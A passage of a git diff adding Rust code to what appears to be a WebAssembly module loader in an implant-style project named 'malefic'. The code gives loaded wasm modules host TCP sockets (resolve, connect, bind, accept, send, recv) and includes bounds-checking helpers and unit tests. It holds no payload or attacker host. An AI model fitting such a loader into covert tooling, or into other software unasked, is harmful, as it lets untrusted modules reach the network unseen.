8]; + } + let Ok(events) = u32::try_from(ready.len()) else { + return ERRNO_INVAL; + }; + write_u32_data(data, events_ptr, events) + }, + )?; + Ok(()) +} + +pub(super) fn memory(caller: &Caller<'_, T>) -> Option { + caller + .get_export("memory") + .and_then(|item| item.into_memory()) +} + +pub(super) fn checked_range(pointer: i32, length: i32, total: usize) -> Result, ()> { + let pointer = usize::try_from(pointer).map_err(|_| ())?; + let length = usize::try_from(length).map_err(|_| ())?; + let end = pointer.checked_add(length).ok_or(())?; + if end > total { + return Err(()); + } + Ok(pointer..end) +} + +pub(super) fn checked_range_u32( + pointer: u32, + length: u32, + total: usize, +) -> Result, ()> { + let pointer = pointer as usize; + let length = length as usize; + let end = pointer.checked_add(length).ok_or(())?; + if end > total { + return Err(()); + } + Ok(pointer..end) +} + +pub(super) fn read_u32(data: &[u8], offset: usize) -> Result { + let bytes = data.get(offset..offset + 4).ok_or(())?; + Ok(u32::from_le_bytes(bytes.try_into().map_err(|_| ())?)) +} + +fn read_u64(data: &[u8], offset: usize) -> Result { + let bytes = data.get(offset..offset + 8).ok_or(())?; + Ok(u64::from_le_bytes(bytes.try_into().map_err(|_| ())?)) +} + +fn write_u32(caller: &mut Caller<'_, WasiState>, pointer: i32, value: u32) -> i32 { + let Some(memory) = memory(caller) else { + return ERRNO_FAULT; + }; + write_u32_data(memory.data_mut(caller), pointer, value) +} + +pub(super) fn write_u32_data(data: &mut [u8], pointer: i32, value: u32) -> i32 { + let Ok(pointer) = usize::try_from(pointer) else { + return ERRNO_FAULT; + }; + if write_u32_at(data, pointer, value).is_err() { + return ERRNO_FAULT; + } + ERRNO_SUCCESS +} + +pub(super) fn result_errno(result: Result, error: i32) -> i32 { + match result { + Ok(_) => ERRNO_SUCCESS, + Err(_) => error, + } +} + +fn write_u32_at(data: &mut [u8], offset: usize, value: u32) -> Result<(), ()> { + let destination = data.get_mut(offset..offset + 4).ok_or(())?; + destination.copy_from_slice(&value.to_le_bytes()); + Ok(()) +} + +fn write_u64(caller: &mut Caller<'_, WasiState>, pointer: i32, value: u64) -> i32 { + let Some(memory) = memory(caller) else { + return ERRNO_FAULT; + }; + let data = memory.data_mut(caller); + let Ok(pointer) = usize::try_from(pointer) else { + return ERRNO_FAULT; + }; + let Some(destination) = data.get_mut(pointer..pointer + 8) else { + return ERRNO_FAULT; + }; + destination.copy_from_slice(&value.to_le_bytes()); + ERRNO_SUCCESS +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn checked_range_rejects_negative_and_overflowing_values() { + assert!(checked_range(-1, 1, 16).is_err()); + assert!(checked_range(0, -1, 16).is_err()); + assert!(checked_range(12, 8, 16).is_err()); + assert_eq!(checked_range(4, 8, 16).unwrap(), 4..12); + } + + #[test] + fn output_limit_applies_to_both_streams() { + assert!(output_fits(3, 4, 1, 8)); + assert!(!output_fits(3, 4, 2, 8)); + assert!(!output_fits(usize::MAX, 1, 0, usize::MAX)); + } + + #[test] + fn result_errno_preserves_success_and_error() { + assert_eq!(result_errno::<(), ()>(Ok(()), ERRNO_IO), ERRNO_SUCCESS); + assert_eq!(result_errno::<(), ()>(Err(()), ERRNO_IO), ERRNO_IO); + } +} diff --git a/malefic-3rd/src/wasmloader/wasix.rs b/malefic-3rd/src/wasmloader/wasix.rs new file mode 100644 index 00000000..5fe48349 --- /dev/null +++ b/malefic-3rd/src/wasmloader/wasix.rs @@ -0,0 +1,592 @@ +use super::wasi::{ + checked_range, checked_range_u32, memory, read_u32, result_errno, write_u32_data, WasiState, + ERRNO_AGAIN, ERRNO_BADF, ERRNO_FAULT, ERRNO_INVAL, ERRNO_IO, ERRNO_SUCCESS, +}; +use std::collections::HashMap; +use std::io::{ErrorKind, Read, Write}; +use std::net::{Ipv4Addr, Shutdown, SocketAddr, TcpListener, TcpStream, ToSocketAddrs}; +use wasmi::errors::LinkerError; +use wasmi::{AsContext, AsContextMut, Caller, Linker}; + +const ADDRESS_SIZE: usize = 18; +const ADDRESS_PORT_SIZE: usize = 20; +const IOV_SIZE: usize = 8; +const ADDRESS_FAMILY_INET4: u8 = 1; +const SOCKET_TYPE_STREAM: i32 = 1; +const SOCKET_PROTOCOL_TCP: i32 = 6; +const FD_FLAG_NONBLOCK: i32 = 1 << 2; +const RECV_FLAG_PEEK: i32 = 1; +const MAX_HOST_SLEEP: std::time::Duration = std::time::Duration::from_secs(1); + +enum SocketEntry { + Pending { nonblocking: bool }, + Stream(TcpStream), + Listener(TcpListener), +} + +pub(super) struct SocketState { + entries: HashMap, + next_fd: i32, +} + +impl Default for SocketState { + fn default() -> Self { + Self { + entries: HashMap::new(), + next_fd: 100, + } + } +} + +impl SocketState { + fn open(&mut self) -> i32 { + let fd = self.next_fd; + self.next_fd = self.next_fd.saturating_add(1); + self.entries + .insert(fd, SocketEntry::Pending { nonblocking: false }); + fd + } + + pub(super) fn close(&mut self, fd: i32) -> bool { + self.entries.remove(&fd).is_some() + } + + pub(super) fn contains(&self, fd: i32) -> bool { + self.entries.contains_key(&fd) + } + + pub(super) fn poll_ready(&self, fd: i32, event_type: u8) -> bool { + match self.entries.get(&fd) { + Some(SocketEntry::Stream(stream)) if event_type == 1 => { + let mut byte = [0u8; 1]; + match stream.peek(&mut byte) { + Ok(_) => true, + Err(error) if error.kind() == ErrorKind::WouldBlock => false, + Err(_) => true, + } + } + Some(SocketEntry::Stream(_)) if event_type == 2 => true, + Some(SocketEntry::Listener(_)) => true, + Some(SocketEntry::Pending { .. }) | None => false, + Some(SocketEntry::Stream(_)) => false, + } + } + + pub(super) fn set_nonblocking(&mut self, fd: i32, enabled: bool) -> bool { + match self.entries.get_mut(&fd) { + Some(SocketEntry::Pending { nonblocking }) => { + *nonblocking = enabled; + true + } + Some(SocketEntry::Stream(stream)) => stream.set_nonblocking(enabled).is_ok(), + Some(SocketEntry::Listener(listener)) => listener.set_nonblocking(enabled).is_ok(), + None => false, + } + } +} + +pub(super) fn register(linker: &mut Linker) -> Result<(), LinkerError> { + linker.func_wrap( + "wasix_32v1", + "resolve", + |mut caller: Caller<'_, WasiState>, + host_ptr: i32, + host_len: i32, + port: i32, + addresses_ptr: i32, + address_count: i32, + result_count_ptr: i32| + -> i32 { + resolve( + &mut caller, + host_ptr, + host_len, + port, + addresses_ptr, + address_count, + result_count_ptr, + ) + }, + )?; + linker.func_wrap( + "wasix_32v1", + "sock_open", + |mut caller: Caller<'_, WasiState>, family: i32, kind: i32, protocol: i32, fd_ptr: i32| { + sock_open(&mut caller, family, kind, protocol, fd_ptr) + }, + )?; + linker.func_wrap( + "wasix_32v1", + "sock_connect", + |mut caller: Caller<'_, WasiState>, fd: i32, address_ptr: i32| { + sock_connect(&mut caller, fd, address_ptr) + }, + )?; + linker.func_wrap( + "wasix_32v1", + "sock_bind", + |mut caller: Caller<'_, WasiState>, fd: i32, address_ptr: i32| { + sock_bind(&mut caller, fd, address_ptr) + }, + )?; + linker.func_wrap( + "wasix_32v1", + "sock_listen", + |caller: Caller<'_, WasiState>, fd: i32, _backlog: i32| { + if matches!( + caller.data().sockets.entries.get(&fd), + Some(SocketEntry::Listener(_)) + ) { + ERRNO_SUCCESS + } else { + ERRNO_BADF + } + }, + )?; + linker.func_wrap( + "wasix_32v1", + "sock_accept_v2", + |mut caller: Caller<'_, WasiState>, + fd: i32, + flags: i32, + result_fd_ptr: i32, + address_ptr: i32| { + sock_accept(&mut caller, fd, flags, result_fd_ptr, address_ptr) + }, + )?; + linker.func_wrap( + "wasix_32v1", + "sock_send", + |mut caller: Caller<'_, WasiState>, + fd: i32, + iovs_ptr: i32, + iovs_len: i32, + _flags: i32, + written_ptr: i32| { sock_send(&mut caller, fd, iovs_ptr, iovs_len, written_ptr) }, + )?; + linker.func_wrap( + "wasix_32v1", + "sock_recv", + |mut caller: Caller<'_, WasiState>, + fd: i32, + iovs_ptr: i32, + iovs_len: i32, + flags: i32, + read_ptr: i32, + result_flags_ptr: i32| { + sock_recv( + &mut caller, + fd, + iovs_ptr, + iovs_len, + flags, + read_ptr, + result_flags_ptr, + ) + }, + )?; + linker.func_wrap( + "wasix_32v1", + "sock_set_opt_flag", + |mut caller: Caller<'_, WasiState>, fd: i32, option: i32, enabled: i32| { + let Some(SocketEntry::Stream(stream)) = caller.data_mut().sockets.entries.get_mut(&fd) + else { + return ERRNO_BADF; + }; + match option { + 3 => result_errno(stream.set_nodelay(enabled != 0), ERRNO_IO), + 12 => ERRNO_SUCCESS, + _ => ERRNO_SUCCESS, + } + }, + )?; + linker.func_wrap( + "wasix_32v1", + "sock_shutdown", + |caller: Caller<'_, WasiState>, fd: i32, how: i32| { + let Some(SocketEntry::Stream(stream)) = caller.data().sockets.entries.get(&fd) else { + return ERRNO_BADF; + }; + let how = match how { + 1 => Shutdown::Read, + 2 => Shutdown::Write, + _ => Shutdown::Both, + }; + result_errno(stream.shutdown(how), ERRNO_IO) + }, + )?; + linker.func_wrap( + "wasix_32v1", + "thread_sleep", + |_caller: Caller<'_, WasiState>, nanoseconds: i64| { + if nanoseconds > 0 { + std::thread::sleep( + std::time::Duration::from_nanos(nanoseconds as u64).min(MAX_HOST_SLEEP), + ); + } + ERRNO_SUCCESS + }, + )?; + linker.func_wrap( + "wasi_snapshot_preview1", + "fd_fdstat_set_flags", + |mut caller: Caller<'_, WasiState>, fd: i32, flags: i32| { + if caller + .data_mut() + .sockets + .set_nonblocking(fd, flags & FD_FLAG_NONBLOCK != 0) + { + ERRNO_SUCCESS + } else { + ERRNO_BADF + } + }, + )?; + Ok(()) +} + +fn resolve( + caller: &mut Caller<'_, WasiState>, + host_ptr: i32, + host_len: i32, + port: i32, + addresses_ptr: i32, + address_count: i32, + result_count_ptr: i32, +) -> i32 { + let Some(memory) = memory(caller) else { + return ERRNO_FAULT; + }; + let data = memory.data(caller.as_context()); + let Ok(host_range) = checked_range(host_ptr, host_len, data.len()) else { + return ERRNO_FAULT; + }; + let Ok(host) = std::str::from_utf8(&data[host_range]) else { + return ERRNO_INVAL; + }; + let Ok(capacity) = usize::try_from(address_count) else { + return ERRNO_INVAL; + }; + let Ok(port) = u16::try_from(port) else { + return ERRNO_INVAL; + }; + let Ok(addresses) = (host, port).to_socket_addrs() else { + return ERRNO_IO; + }; + let ipv4: Vec = addresses + .filter_map(|address| match address.ip() { + std::net::IpAddr::V4(address) => Some(address), + std::net::IpAddr::V6(_) => None, + }) + .take(capacity) + .collect(); + + let data = memory.data_mut(caller.as_context_mut()); + let Ok(start) = usize::try_from(addresses_ptr) else { + return ERRNO_FAULT; + }; + for (index, address) in ipv4.iter().enumerate() { + let Some(offset) = start.checked_add(index.saturating_mul(ADDRESS_SIZE)) else { + return ERRNO_FAULT; + }; + if offset + ADDRESS_SIZE > data.len() { + return ERRNO_FAULT; + } + data[offset..offset + ADDRESS_SIZE].fill(0); + data[offset] = ADDRESS_FAMILY_INET4; + data[offset + 2..offset + 6].copy_from_slice(&address.octets()); + } + let Ok(count) = u32::try_from(ipv4.len()) else { + return ERRNO_INVAL; + }; + write_u32_data(data, result_count_ptr, count) +} + +fn sock_open( + caller: &mut Caller<'_, WasiState>, + family: i32, + kind: i32, + protocol: i32, + fd_ptr: i32, +) -> i32 { + if family != ADDRESS_FAMILY_INET4 as i32 + || kind != SOCKET_TYPE_STREAM + || protocol != SOCKET_PROTOCOL_TCP + { + return ERRNO_INVAL; + } + let Some(memory) = memory(caller) else { + return ERRNO_FAULT; + }; + let (data, state) = memory.data_and_store_mut(&mut *caller); + let fd = state.sockets.open(); + write_u32_data(data, fd_ptr, fd as u32) +} + +fn sock_connect(caller: &mut Caller<'_, WasiState>, fd: i32, address_ptr: i32) -> i32 { + let Some(memory) = memory(caller) else { + return ERRNO_FAULT; + }; + let data = memory.data(caller.as_context()); + let Ok(address) = read_address(data, address_ptr) else { + return ERRNO_FAULT; + }; + let nonblocking = match caller.data().sockets.entries.get(&fd) { + Some(SocketEntry::Pending { nonblocking }) => *nonblocking, + Some(SocketEntry::Stream(_)) => return ERRNO_SUCCESS, + _ => return ERRNO_BADF, + }; + match TcpStream::connect(address) { + Ok(stream) => { + if stream.set_nonblocking(nonblocking).is_err() { + return ERRNO_IO; + } + caller + .data_mut() + .sockets + .entries + .insert(fd, SocketEntry::Stream(stream)); + ERRNO_SUCCESS + } + Err(error) if error.kind() == ErrorKind::WouldBlock => super::wasi::ERRNO_INPROGRESS, + Err(_) => ERRNO_IO, + } +} + +fn sock_bind(caller: &mut Caller<'_, WasiState>, fd: i32, address_ptr: i32) -> i32 { + let Some(memory) = memory(caller) else { + return ERRNO_FAULT; + }; + let data = memory.data(caller.as_context()); + let Ok(address) = read_address(data, address_ptr) else { + return ERRNO_FAULT; + }; + let nonblocking = match caller.data().sockets.entries.get(&fd) { + Some(SocketEntry::Pending { nonblocking }) => *nonblocking, + _ => return ERRNO_BADF, + }; + match TcpListener::bind(address) { + Ok(listener) => { + if listener.set_nonblocking(nonblocking).is_err() { + return ERRNO_IO; + } + caller + .data_mut() + .sockets + .entries + .insert(fd, SocketEntry::Listener(listener)); + ERRNO_SUCCESS + } + Err(_) => ERRNO_IO, + } +} + +fn sock_accept( + caller: &mut Caller<'_, WasiState>, + fd: i32, + flags: i32, + result_fd_ptr: i32, + address_ptr: i32, +) -> i32 { + let result = { + let Some(SocketEntry::Listener(listener)) = caller.data().sockets.entries.get(&fd) else { + return ERRNO_BADF; + }; + listener.accept() + }; + let (stream, address) = match result { + Ok(result) => result, + Err(error) if error.kind() == ErrorKind::WouldBlock => return ERRNO_AGAIN, + Err(_) => return ERRNO_IO, + }; + if stream + .set_nonblocking(flags & FD_FLAG_NONBLOCK != 0) + .is_err() + { + return ERRNO_IO; + } + let new_fd = caller.data_mut().sockets.open(); + caller + .data_mut() + .sockets + .entries + .insert(new_fd, SocketEntry::Stream(stream)); + + let Some(memory) = memory(caller) else { + return ERRNO_FAULT; + }; + let data = memory.data_mut(caller.as_context_mut()); + let result = write_u32_data(data, result_fd_ptr, new_fd as u32); + if result != ERRNO_SUCCESS { + return result; + } + write_address(data, address_ptr, address) +} + +fn sock_send( + caller: &mut Caller<'_, WasiState>, + fd: i32, + iovs_ptr: i32, + iovs_len: i32, + written_ptr: i32, +) -> i32 { + let Some(memory) = memory(caller) else { + return ERRNO_FAULT; + }; + let (data, state) = memory.data_and_store_mut(&mut *caller); + let Ok(iovs_len) = usize::try_from(iovs_len) else { + return ERRNO_INVAL; + }; + let mut payload = Vec::new(); + for index in 0..iovs_len { + let Some(offset) = (iovs_ptr as usize).checked_add(index.saturating_mul(IOV_SIZE)) else { + return ERRNO_FAULT; + }; + let Ok(pointer) = read_u32(data, offset) else { + return ERRNO_FAULT; + }; + let Ok(length) = read_u32(data, offset + 4) else { + return ERRNO_FAULT; + }; + let Ok(range) = checked_range_u32(pointer, length, data.len()) else { + return ERRNO_FAULT; + }; + payload.extend_from_slice(&data[range]); + } + let Some(SocketEntry::Stream(stream)) = state.sockets.entries.get_mut(&fd) else { + return ERRNO_BADF; + }; + match stream.write(&payload) { + Ok(written) => { + let Ok(written) = u32::try_from(written) else { + return ERRNO_INVAL; + }; + write_u32_data(data, written_ptr, written) + } + Err(error) if error.kind() == ErrorKind::WouldBlock => ERRNO_AGAIN, + Err(_) => ERRNO_IO, + } +} + +fn sock_recv( + caller: &mut Caller<'_, WasiState>, + fd: i32, + iovs_ptr: i32, + iovs_len: i32, + flags: i32, + read_ptr: i32, + result_flags_ptr: i32, +) -> i32 { + let Some(memory) = memory(caller) else { + return ERRNO_FAULT; + }; + let (data, state) = memory.data_and_store_mut(&mut *caller); + let Ok(iovs_len) = usize::try_from(iovs_len) else { + return ERRNO_INVAL; + }; + let mut ranges = Vec::with_capacity(iovs_len); + let mut capacity = 0usize; + for index in 0..iovs_len { + let Some(offset) = (iovs_ptr as usize).checked_add(index.saturating_mul(IOV_SIZE)) else { + return ERRNO_FAULT; + }; + let Ok(pointer) = read_u32(data, offset) else { + return ERRNO_FAULT; + }; + let Ok(length) = read_u32(data, offset + 4) else { + return ERRNO_FAULT; + }; + let Ok(range) = checked_range_u32(pointer, length, data.len()) else { + return ERRNO_FAULT; + }; + capacity = match capacity.checked_add(range.len()) { + Some(capacity) => capacity, + None => return ERRNO_INVAL, + }; + ranges.push(range); + } + let Some(SocketEntry::Stream(stream)) = state.sockets.entries.get_mut(&fd) else { + return ERRNO_BADF; + }; + let mut buffer = vec![0u8; capacity]; + let result = if flags & RECV_FLAG_PEEK != 0 { + stream.peek(&mut buffer) + } else { + stream.read(&mut buffer) + }; + let read = match result { + Ok(read) => read, + Err(error) if error.kind() == ErrorKind::WouldBlock => return ERRNO_AGAIN, + Err(_) => return ERRNO_IO, + }; + let mut copied = 0usize; + for range in ranges { + let count = (read - copied).min(range.len()); + data[range.start..range.start + count].copy_from_slice(&buffer[copied..copied + count]); + copied += count; + if copied == read { + break; + } + } + let Ok(read) = u32::try_from(read) else { + return ERRNO_INVAL; + }; + let result = write_u32_data(data, read_ptr, read); + if result != ERRNO_SUCCESS { + return result; + } + write_u16_data(data, result_flags_ptr, 0) +} + +fn read_address(data: &[u8], pointer: i32) -> Result { + let range = checked_range(pointer, ADDRESS_PORT_SIZE as i32, data.len())?; + if data[range.start] != ADDRESS_FAMILY_INET4 { + return Err(()); + } + let port = u16::from_le_bytes([data[range.start + 2], data[range.start + 3]]); + let ip = Ipv4Addr::new( + data[range.start + 4], + data[range.start + 5], + data[range.start + 6], + data[range.start + 7], + ); + Ok(SocketAddr::from((ip, port))) +} + +fn write_address(data: &mut [u8], pointer: i32, address: SocketAddr) -> i32 { + let SocketAddr::V4(address) = address else { + return ERRNO_INVAL; + }; + let Ok(range) = checked_range(pointer, ADDRESS_PORT_SIZE as i32, data.len()) else { + return ERRNO_FAULT; + }; + data[range.clone()].fill(0); + data[range.start] = ADDRESS_FAMILY_INET4; + data[range.start + 2..range.start + 4].copy_from_slice(&address.port().to_le_bytes()); + data[range.start + 4..range.start + 8].copy_from_slice(&address.ip().octets()); + ERRNO_SUCCESS +} + +fn write_u16_data(data: &mut [u8], pointer: i32, value: u16) -> i32 { + let Ok(pointer) = usize::try_from(pointer) else { + return ERRNO_FAULT; + }; + let Some(destination) = data.get_mut(pointer..pointer + 2) else { + return ERRNO_FAULT; + }; + destination.copy_from_slice(&value.to_le_bytes()); + ERRNO_SUCCESS +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn address_round_trip_uses_tinygo_layout() { + let mut data = [0u8; ADDRESS_PORT_SIZE]; + let address: SocketAddr = "127.0.0.1:8080".parse().unwrap(); + assert_eq!(write_address(&mut data, 0, address), ERRNO_SUCCESS); + assert_eq!(read_address(&data, 0).unwrap(), address); + } +}